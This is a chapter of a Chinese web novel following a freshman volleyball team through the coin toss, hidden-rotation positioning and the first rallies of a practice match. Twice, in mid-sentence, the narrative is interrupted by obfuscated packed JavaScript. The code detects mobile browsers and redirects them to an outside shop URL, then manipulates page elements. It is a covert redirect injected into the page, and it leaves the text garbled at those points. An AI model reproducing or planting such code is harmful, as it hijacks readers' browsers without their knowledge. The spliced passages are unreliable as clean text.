“哈哈哈,知道知道,昌子早就告诉我们了。放心吧,北体是我家,热爱你我他,有我张钊在的地方绝对帮你摆平!”站在他们正前方的男生笑声嘹亮通透,乐星回动了动小耳朵,昌子?昌哥?陶文昌?原来是陶最的堂哥的朋友? “我哥他喜欢麻烦人,我倒是没什么事。”陶最又把乐星回往前推了推。乐星回拘束地站在人群中,听着背后来自陶最的轻笑。他也跟着傻乎乎地笑了笑,眼睛闪亮地左顾右盼,喜欢这感觉,喜欢陶最把自己介绍给他认识的人。 叫张钊的男生无疑是乐星回最喜欢接近的那类,他爽朗爱笑热心肠,有什么说什么,长跑运动员,皮肤晒黑得流油,牙齿整洁、洁白,头戴运动发带,是很标准的帅气黑皮体育生。 “我和昌子从初中就是好兄弟,他特别叮嘱我要照顾你们。有什么事你们找我。”张钊认真扛起好兄弟的大旗,“真没想到,昌子还有一个这么高的堂弟!” “我家人都挺高,他还有一个更高的表弟,在首体打排球。”陶最见乐星回不开口,拍拍他后背,“以后学校搞不定的事就找钊哥,知道了么?” “知道。”乐星回擦了擦汗水,体温在上升,手环也在变红。我能有什么搞不定的事呢?我唯一搞不定的就是你,难道这些也可以和钊哥说? “来,这位是……首体的毕业生,读研回国,现在在咱们北体……溜达?”张钊的热情继续燃烧,恨不得一天之内就带着陶文昌的堂弟和堂弟的弟弟把学校走遍。乐星回和陶最一起看过去,两人的第一反应如出一辙,这肯定不会是运动员。 “你们好,我叫唐誉。”站在张钊身后的人往前两步,伸出了右手。乐星回歪了歪脑袋,脑子里想着什么,嘴巴吐露出来:“你……你是演员吗?” “哈哈哈,他不是,我们长跑队也这么问呢,他真不是。”张钊拍拍唐誉的后背,“人家本科是体育教育系,对吧?” “对,多多少少沾边,研究生课题不太一样。现在……国外的课程出了点问题,我回国等通知。”唐誉对着他们笑了笑。 或许是乐星回总是关注小最哥的黑眼圈,他也看到了唐誉眼下的乌青。不过他们长相风格不一样,唐誉有一双骆驼般沉重的眼睛,眨眼动作都像重工业,一下是一下。他融在排球馆里,各方面格格不入,但又有一种莫名其妙的氛围,好像……他对体育是熟悉的,是一位故友。比赛的预热是唐誉浓郁目光里的故人重逢,每一次哨声响起,都是他的“似是故人来”。 好奇怪的人。乐星回好奇了。 “你是不是失眠?”陶最却冷不丁地问了一句。 “还好,最近学业比较忙,睡不好。”唐誉缓缓地点了下头,“比赛加油。” “谢谢,那我们去准备啦!”乐星回听到了宋教练的哨声,没过多考虑唐誉的话。宋教练的哨子和他本人一个路数,长长一串音最后破音,顾头不顾腚似的。乐星回跑向排球场,等待比赛开场。 每一场排球比赛都需要抽签决定发球权,抽到发球的队伍先开球,没抽到的拥有场地选择权。等到下一局开打,为了公平起见,两队要互换场地,发球权轮替,直到决胜局之前。 比赛采取局分制度,率先拿下3场胜局的队伍胜一场。赛点是25,超过25且高于对手2分,获胜。如果局分到了2:2,打平,就要进入第五局决胜局。开赛前两队队长要再次为队伍抽签,等待发球权和场地权的降临。 比赛场地最下方的线段叫做端线,也就是发球不允超过线,击球前踩线是犯规。现在萧池站在端线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892047|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置,犹豫两难要走不走的,光着膀子的薛礼一个劲儿推他:“你去啊!去啊!” “我不去了吧……不行,我不敢。”萧池反而推却。薛礼看不懂他的推却,也看不懂他这么高的身高为什么畏手畏脚,笑着继续推他:“我靠,池哥你怕什么?我要是有你这个块儿头,当年揍我爹的时候就不会大败而归了!” “我没干过这事,万一抽不到发球权,这不是耽误咱们队吗?”萧池下意识揉了揉薛礼背后长长短短的伤疤,那都是薛礼的爹喝醉了拿爬犁剐的,“小羽,小羽呢?” 一声“小羽”叫来了两个人,方丰羽和方飞羽一起过来。萧池先是让他们去抽签,兄弟俩选不出来了,萧池实在没辙,目光投向了神游的陶最:“陶最!你去吧!你是副队长!” 陶最回过神来:“谁家抽签是副队长上?” 队长是代言人,是说一不二的象征,除非是队长不在现场,那副队长才上。这也是排球不成文的规则,抽坏了其他队员未必没有怨言,但如果是队长下手大家只有心服口服。然而萧池苦不堪言:“我没抽过,你上。” “你能不能硬气点儿?”陶最事不关己高高挂起,“队长都这么怂,咱们队出去比赛得受多少欺负?” 方家兄弟同时看向陶最,萧池连忙说:“我从小就没当过小头目。” “是队长,不是头目,您准备带我们干一票大的?”陶最迎着两个翅膀的质疑,“你要是能干,就干,干不了先辞职。” 方飞羽的脚步动了动,要往陶最这边走,方丰羽将弟弟一把按住,笑着说:“陶最,池哥他没说辞职。” “那他去抽。”陶最用鼻子尖指了下主裁判的位置。 来来回回几句话给乐星回听得心惊胆战,差点以为大家要打起来。池哥多好的一个人啊,陶最果然不给人家留面子。现在进度卡在这里,恐怕连宋忍教练都想不到,这一支满队心眼子的排球队伍上场前就搞小分裂,连个抽签人都选不出来。 要不,干脆我去?乐星回想原地举小手,他特别怕大人们吵架,总想着调停。就在他准备迈出一步时,萧池终于被逼了出来,饱满胸肌仿佛都跟着脖子一起发红,戴着最大号的护臂,说最轻的语调:“那我,那我去,你们等我一下。” 他一去,直接给双胞胎副攻带走了,薛礼叉着腰摇摇头,无奈地咧了下嘴:“唉,到了正式比赛可怎么办啊?” “凉拌。”陶最也笑了笑。 半分钟后,萧池满脸愁容回来,声音低得仿佛抬不起头,目光环视一圈,显然是打算和所有人道歉:“我没抽到发球权,咱们选哪边的地?” “就这边吧。”副队长陶最替他定下来。 萧池松了一口气,有个副队长帮忙实在太好了。主裁判那边的哨声再次吹响,比赛要正式开始了,乐星回跑向自己的位置,他的“主攻手第一步”正式踏响。 陶最刚好在他的左边。 还剩下最后一点时间,乐星回像一辆小汽车在红灯前掉了头,执拗地问:“陶最,你是不是很希望宋锐来看你比赛?” 陶最两只手撑着膝盖。他右边的乐星回因为比赛开场而激动发红,脸红着,手环红了一半,两只耳朵也红着。 “你有时间给宋锐打电话,为什么不给我打一个?”乐星回像看着一片闪光的叶子,边缘锯齿状,会扎手。 “比赛赢了我就告诉你。”这回陶最没有逃避话题。 17.巨人在说话 打赢了就说吗? 乐星回无比希望他们能赢,他也确定他们会赢! 哨声吹响,大二男排队和大一男排队做好了万全准备。排球场上的站位有6个,是逆时针排列。 4号位、3号位、2号位 ---三米进攻线--- 5号位、6号位、1号位 每一次发球队员的改变都要轮转1次,是顺时针。宋锐站在看台上,这次陶最怎么打接应了?他不一直都是二传吗? 二传是一支队伍里的司令官,排球在同一片场地里只有3次触手机会,超过3次就算犯规,自己队不扣分,对手加1分。第1次传球是接对方的球,第2次传球是二传手的调度过程。 主攻、副攻、接应,除了自由人,都是二传手的攻击端。第3次触手就是进攻。又因为二传手在队伍当中的特殊性,二传在哪个位置上,当下的轮次就叫第几轮。 大一男排这边的站位是: 大主攻萧池,二传手赵锐,大副攻方丰羽 ---三米进攻线--- 自由人韦星火,接应陶最,小主攻乐星回 赵锐刚好在3号位,所以这就叫第3轮。一般排球开轮都会选择自己最强或比较有优势的轮次,用强轮去开,大二男排队也是第3轮,发球的人是他们的小主攻手,身高199。 在这位小主攻手走向最底端的端线时,乐星回视线里的所有队员都在快速挪动。 隐藏站位!这是目前最主流的应对策略!真正比赛中,没有人会按照教科书般的方式去站,因为那样一站,对面就知道你们谁是什么位置。再有就是二传手不方便跑动。二传手要在网前组织进攻的,自然是越靠前,越好。 乐星回往前挪了半步,陶最反而比他还要靠后。 接应在场上的作用是出其不备,犹如刺客昼伏夜出,不出手便是潜伏,一出手就是杀招!原本站在三米进攻线前方的萧池却挪了下来,他的右后侧方藏着韦星火这个自由人。 赵锐几乎顶到了网口的位置,只是没有触网。方丰羽刚好站在三米进攻线上。隐藏站位的规则是,每个位置的站位只需要考虑和自己挨着的队员的关系,只要保证前后左右的位置不错,那怎么站都没问题了。 至此,大一男排的站位全面成型!这是镌刻在排球运动员DNA里的站位,他们不用动脑子,身体会带他们各自归位。 乐星回两只手做好垫球的准备姿势,他是主攻,主攻也是要接对面发球的预备役。随着一声震耳欲聋的闷响,声音犹如炸开的炮,对面发球员的身体还在空中停留,但米卡萨v200已经瞄准他们飞了过来! 好重的爆发力! 发球员的球一旦离手,对面的球员就可以跑动,乐星回眼睛追着球,听力也追着球,训练赛用球升级,从v300变成v200!让他着迷的蓝色和黄色旋成了一种混合色,气旋裹住球面堪比硬壳加身,裹挟着深入人心的暴力美学。 看台上的观众以北体学生为主,对打球的动静习以为常,波澜不惊。张钊自然也是“不惊”中一位,倒是旁边坐着唐誉,被巨大轰网的震动吓得激灵了一颤。张钊连忙拍他后背,细致地问道:“怎么样?是不是特别燃!” “……还好。”唐誉笑着揉了揉耳朵。张钊粗心地想起什么来,在唐誉披肩的长发里看到一枚小小的助听器正在耳廓上缘闪烁。他想起唐誉是小聋人。 “排球比赛是这样,声音特别大!”不止是场上声音大,台上照样如此,张钊大着嗓门给他讲解,怕他看不懂,“你瞧他们站位挺乱的吧?其实很好懂,就6个人。” 说着,张钊像拍自己好大儿一样拍拍他。唐誉被他拍得微微晃动,目光集中在身高明显低于平均值的乐星回身上。“我知道轮转,只是我以为大家会站得横平竖直。” “哪能啊,排球现在改规则了,只要不破坏前后左右关系就行。你可以这么理解……”张钊热情洋溢,不管别人如何他先自燃,犹如一块黑色的白磷,“主攻手要接第一次传球,所以都尽量往后撤。二传一个劲儿往前冲,明白了没?你瞧那个白色的,他衣裳颜色和其他队友不一样,这不是排挤他,这种特殊化叫‘自由人’。自由人是后排小精灵,懂了吧?还有什么不懂的,我给你讲。” 唐誉拢了一把鬓角长发,接了这份好心解说:“懂了一点点,我先慢慢看着。” 张钊又安抚性地拍拍他:“你在首体那么久,没看过排球?” “没看过,我在田径场比较多。”唐誉揉了下眼下乌青,目光穿透排球馆墙壁,要在偌大的北体里寻找一个他熟悉的落点。 看台的声音传不到乐星回耳朵里,他耳边只有风声。排球呼啸而来,还是一个跳起来发的飘球。飘球行踪不定,会在空气中弹动,拥有一条专属于它自己的路线,原本是奔着身穿白色队服的韦星火。 韦星火身体团起,双目变成能锁定导.弹的追踪系统,脚步往右移动。但比赛场上每个人都在移动,排球和排人都是“活的”才能保证胜算,如果仔细观察,每个人都在调动双腿。球不是一个人来接,是整队来接。防的是跳飘球的改线。 毕竟,改线只在眨眼之间! 改了!乐星回的小脑袋微微一偏。 宋忍和大二男排教练站在规定的教练区域,注视着这一茬茬即将升起的新人,刚才乐星回那个动作太快,太细腻,一晃而过,让宋忍差些以为是自己眼花。他虽然性格懦弱,可多年经验压身,对场上千变万化尽收眼底,刚才那个球是不是还没改变路线就让乐星回给瞄到了? 是不是乐星回先偏了下头,连肩膀都有15度角偏转,而后那个球才开始“飘”飞?难不成乐星回对球场的感应这样敏锐? 是“蜘蛛感应”吗? 原本这是心理学中的一个词,有些人天生感应强烈,一旦被人盯梢就会察觉到,并且能第一时间顺着盯梢人的目光反向巡回。后来这种感应被运用到比赛中,有些运动员就像长了后眼,哪怕不回头仍旧能感受到球来了。他们的敏锐性像浑身汗毛竖起在感应空气的流动,好似有一根透明的蜘蛛丝连接着大脑和球,微微震动足以。 宋忍不能确定,毕竟手头数据有限而且训练赛没有正规比赛的“鹰眼”设备。无法盯帧回放,也就无法判断乐星回这个小东西的感应几时诞生,到底是“飘”前还是“飘”后。 最终这球没有落在韦星火的双臂上,在萧池身上爆发出第二声闷响。 “我来!”萧池往左弓步,身体重心瞬转1米,强大下盘肌肉给他开路。换个人说不定就被球砸倒了,萧池城墙般的手臂构架了稳如泰山的接发。没有平时的犹犹豫豫,没有抽签的瞻前顾后,干练、强大、可靠、厚硬,成为了萧池全部的代名词。 然后这颗球飞向了根本不是二传手的方丰羽…… 完了。萧池看着这个被自己稳稳接住的排球,这不是一传不到位,是太到位了,他下意识给了从小一起训练的人。只不过他忘记了方丰羽此刻不是二传,是副攻! 呵。陶最从5号位跑到了6号位,好混乱的一支队伍。 好混乱的一支队伍……宋忍看着那明明没错又惨不忍睹的球路,萧池没打过二传,但他给了他习惯性的二传手。赵锐原本在3号位,一个正正好的网前位置,两只手高举准备接池哥的一传,结果球飞过他的脑袋顶,奔赴了2号位的方丰羽。 “我的!”方丰羽一个高高起跳。 啊?你的?什么你的?乐星回也懵了。 副攻接第二次传球,这到底是什么路数?大二男排虽然看不懂,然而也不敢掉以轻心,立即在网前进行双人拦防。方丰羽双手托球,两肘微向外弯曲,躲开了大二男排的拦防,把排球托回到赵锐的手里。排球不允许连续触球,不然犯规。 事已至此,赵锐只能二传变副攻,一记飞快的快攻把球凿了过去!刚才方丰羽给他的球并不高,弧线几乎和网口持平,这样的传球必须打副攻快攻,下手稳准狠。 三米进攻线之前的球员属于前场,前场球员可以直接打进攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896133|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球。线后的球员可不能这样打,起跳必须在线后。 排球扎到对面场地的正中心,大二的主攻手没防住,自由人接到却把球接飞。排球滚出边界线,站在对角线的边界线裁判员马上给出指示,出界。 出界前,谁是最后一个碰球的,这个出界就算谁的。大二自由人碰球,算大二出界。大一和大二比分1:0,暂时领先。可没有一个人笑得出来,刚刚的赢球纯属“答案正确”,然而“过程全错”。宋忍犹如一个操心老父亲,满屏幕都是心眼子,六子夺嫡,唯一没心眼的萧池还给方丰羽喂球。 “对不起对不起,刚才是我失误。”萧池立即认错,“我和小羽配合习惯了。” “给我啊!给我!”赵锐指了指自己鼻子,笑着说,“以后我也叫小羽。” “那可不成。”方丰羽拍了拍手上的灰,“池哥只有两个小羽就足够了。” 排球滚过来,大一赢了1分,发球权这不就过来了。上一秒乐星回还在震惊全队的位置错乱,下一秒就心花怒放,他是1号位,轮到他发球。 发球可是我的强项!乐星回一边往端线走,一边转着手里的排球。他站稳之后主裁判吹哨,哨声是发令枪,他只有8秒钟准备,8秒内必须发球,否则也是犯规。全场视线在身上集中,乐星回将排球拍了拍,每一次拍动都在呼应自己的心跳。 谁说小个子不能打主攻,我偏要打,还要打得好。乐星回闷着一口气,这口气都是身高带来的不甘,他转着球,给球增加转速,抛向空中一刹那,大二排球队开始更改防守站位。 助跑的速度加在乐星回并不强壮的小腿肌肉上,他像一枚尖兵,拥有着最强的敏捷性和灵活性。压力到脚踝,被地面反弹往上,整条力道不曾中断,顺着他的大腿抵达腹肌。连起跳的动静都那么微小。 高度却惊人得优秀。 直线高度碾压所有同身高选手,纤长跟腱为他蓄力。黑色队服被空气顶起来,瞬间飞到乐星回的喉结高度,乐星回深知自己发球的优势和弱势,包球的手更加靠上。 很多主攻手能完全给排球包起来,他并不能。乐星回像摁了一下排球,在他超长待机的滞空过程里弹射出一枚大力跳发球。 砰!因为他手掌包球不全,发球声比大二发球的动静脆很多,脆生生地打了过去。 好漂亮的姿态。薛礼、齐小池、李飞鸾和方飞宇在场边休息区,他们这位小主攻真像个小孔雀,开着屏就把球打出去了。球速很快,大力跳发球的威力延续到大二的后场,当对面主攻手接发球时表情略微狰狞。 “哈哈,真是个小钢炮。”薛礼忍不住说。 小,却钢,乐星回只是在巨人国里不显什么,但整体身体素质远远超过普通人。这个球甚至没接好,飞出了一条斜线,大二的二传手一路跑向边界线,勉勉强强给调整过来,飞向了球网。网口等候多时的是他们正经八百的大主攻,主攻也已经起跳,当球飞到最完美的位置便狠狠拍向大一场地。 一道白影,韦星火鱼跃扑向球的落点。 接得完美,自由人的鱼跃永远是最后防线。球这次飞向了正确的二传手,赵锐调整脚步,心里有个声音,给乐乐。 他和乐乐配合默契,他坚信这个球一出手,乐星回就知道怎么接! 排球在他手里一弹,完美飞向三米进攻线,介于1号位和2号位当中。刚才发球成功的乐星回从后场杀了过来,显然要打“后2”,从后排打2号位扣杀。他的身体在空中弯成反向的弓,两只脚几乎要挨着屁股,柔韧和力量聚集在小小的身体上,他要展示自己的无限可能。 我能打!乐星回升腾起无情无尽的战斗力,他要证明一切!他有高度,有力度,有角度,凭什么不能打主攻! 同时和他一起升起的,还有对面3名前排拦防队员。大主攻、二传和大副攻排成一道直线,同时伸直了6条手臂。 3个两米同时起跳,黑压压地遮住了乐星回的眼睛。 是他永不跨入的巨人国,说“禁止通行”。